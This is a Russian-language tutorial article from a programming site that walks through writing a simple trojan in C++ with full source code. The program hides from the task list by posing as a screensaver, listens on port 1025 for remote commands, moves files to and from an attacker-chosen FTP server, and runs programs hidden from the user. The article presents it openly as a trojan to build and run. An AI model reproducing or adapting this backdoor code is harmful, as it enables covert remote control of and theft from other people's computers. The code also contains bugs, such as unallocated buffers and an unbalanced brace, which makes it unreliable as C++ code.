C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 Простой RAdmin / Статьи. / C++


автор текста kiron56


Сегодня мы будем создавать троян, на С++. Для компиляции нам понадобится Visual C++ 6 или 5.
 Какие пимпы тыкать объяснять не буду, сам не маленький. 
Скажу только что надо создать Win32 Application, a simple Win32 Application.

Теперь подумаем, что этот трой должен делать? 
Для уменьшения размера оставим самые основные функции:
1. Скачивать файлы с FTP-сервера.
2. Закачивать файлы на FTP-сервер.
3. Запускать проги, двумя способами: скрытный и открытый.

Ну вот и всё, теперь приступим к кодингу.

Для начала в меню Build - Set Active Configuration - Win32 Release. Теперь тыкай в 
Project - Settings - Link. Там в поле Object /library module добавь вот это:
wininet.lib wsock32.lib. Не добавишь, компилироваться не будет! 

Так, самая лёгкая часть работы закончена. Теперь приступим непосредственно к кодингу.
В окне кода стери всё и напиши вот это:

#include "stdafx.h"
#include "stdio.h"
#include "winsock.h"
#include "wininet.h"

Заголовочные файлы мы подключили, теперь будем писать объявление переменных 
(следи за комментариями):

/* нужно чтобы стартануть winsock*/
WSADATA wsa;
/* собственно первый сокет*/
SOCKET s;
/*  переменные, в которых будут храниться временные данные */
char* temp;
char* temp2;
char* temp3;
/* заголовки WinInet сеансов */
HINTERNET inet;
HINTERNET inet2;
/* буффер для хранения поступивших команд */
char buff[1];
/* переменная, по которой мы будем определять, соединены мы с FTP сервером или нет */
bool connected;
/*  сокет, через который будет идти общение с клиентом*/
SOCKET s1;
/* эти структуры необходимы для работу нескольких системных вызовов WinSocket */
SOCKADDR_IN from;
SOCKADDR_IN sin;

С переменными пока всё. Теперь будем писать основу проги, так что добавь к коду вот это:

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

}

Прежде чем будем писать остальное, надо бы подумать о защите от любопытных глаз или CTRL-ALT-DEL. 
Это делается функцией RegisterServiceProcess из библиотеки kernel32.dll. 
Эта функция зарегистрирует нашу прогу как безобидный скринсейвер. 
Добавь к коду это:

	/* поключаем библиотеку */
	HINSTANCE hLib = LoadLibrary("kernel32.dll");	
	/* объявляем прототип функции */
	int (*RegisterServiceProcess)(DWORD dwProcessID, DWORD state);
	/* получаем адрес этой функции */
	(FARPROC &)RegisterServiceProcess = GetProcAddress(hLib, "RegisterServiceProcess");
	/* и делаем вызов этой функции */
	_asm{
		push 0
		push 1
		call RegisterServiceProcess
	}

Так, теперь приступим к остальному, а именно к работе с сокетами:

	/* стартуем Winsock 1.1 */
	WSAStartup(0x0101, &wsa);
	/* инициализируем сокет */
	s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	/* указываем семейство протоколов */
	sin.sin_family = AF_INET;
	/* порт для работы */
	sin.sin_port = htons(1025);
	/* указываем адрес сети */
	sin.sin_addr.s_addr = INADDR_ANY;
	/* определяем локальный канал для связи с сетью */
	bind( s, (LPSOCKADDR)&sin, sizeof(sin) );
	/* слушаем порт */
	listen( s, SOMAXCONN);
	/* определяем размер структуры с информацией о клиенте */
	int fromlen=sizeof(from);
	/* принимаем клиента но уже на другой сокет */
	s1 = accept(s,(struct sockaddr*)&from, &fromlen);
	/* открыть сеанс работы с Инетом */
	inet = InternetOpen("Yohoho FTP Trojan", INTERNET_OPEN_TYPE_DIRECT, "", "", 0); 

Ну чтож, соединение мы установили, сейчас будем команды принимать:

while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
	{ 
	}

Для особо одарённых объясняю: пока клиент не отключится принимаем команды в переменную buff.
Ну а теперь собственно команды:

while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
	{ 
		/* Команда на аплоад.  */
		if(buff[0] == 'a'){
			/* получаем имя приложения */
			recv(s1, temp, 32, 0);
			if(connected){
				if(!FtpPutFile(inet2, temp,temp, 0,0)){
					send(s1, "Upload Failed", 13, 0);
				}else{
					send(s1, "Upload Completed", 16, 0);
				}
			}else{
				send(s1, "Hey! You are not connected to FTP server!", 41, 0);
			}
		/* Команда на скачивание */
		if(buff[0] == 'b'){
			/* получаем имя фала */
			recv(s1,temp, 32, 0);
			if(connected){
				if(!FtpGetFile(inet2, temp, temp,0,true, FTP_TRANSFER_TYPE_BINARY, 0))
				{
					send(s1, "Download Failed", 15, 0);
				}
				else{
					send(s1, "Download Completed", 18,0);
				}
			}else{
				send(s1, "Hey! You are not connected to FTP server!", 41, 0);
			}
		}
		/* Выполняем скрытно приложение (без показа окна программы) */		
		if(buff[0] == 'c'){
			/* получаем имя приложения */
			recv(s1, temp, 255, 0);
			WinExec(temp, SW_HIDE);
		}
		/* Тоже самое, но уже с окном */
		if(buff[0] == 'd'){
			/* получаем имя приложения */
			recv(s1, temp, 255, 0);
			WinExec(temp, SW_SHOW);
		}
		if(buff[0] == 'e'){
			/* получаем урл сервера*/
			recv(s1, temp, 255,0);
			/* получаем логин */
			recv(s1, temp2, 32,0);
			/* получаем пассворд */
			recv(s1, temp3, 32,0);
			/* коннектимся */
			inet2 = InternetConnect(inet,temp,INTERNET_DEFAULT_FTP_PORT,
			temp2,temp3,INTERNET_SERVICE_FTP, 0,0);

			if(inet2){
				connected = true;
			}else{
				send(s1, "Connect Failed",14, 0);
			}
		}
	}

Вроде и всё.... СТОП! Вот конец проги:

	closesocket(s);
	closesocket(s1);
	return 0;

Теперь всё! Компилируй и запускай.... Если не получается - подумай, как сделать чтобы пахало!

Клиент можно самому написать, благо архитектура простая. Будут вопросы мыльте.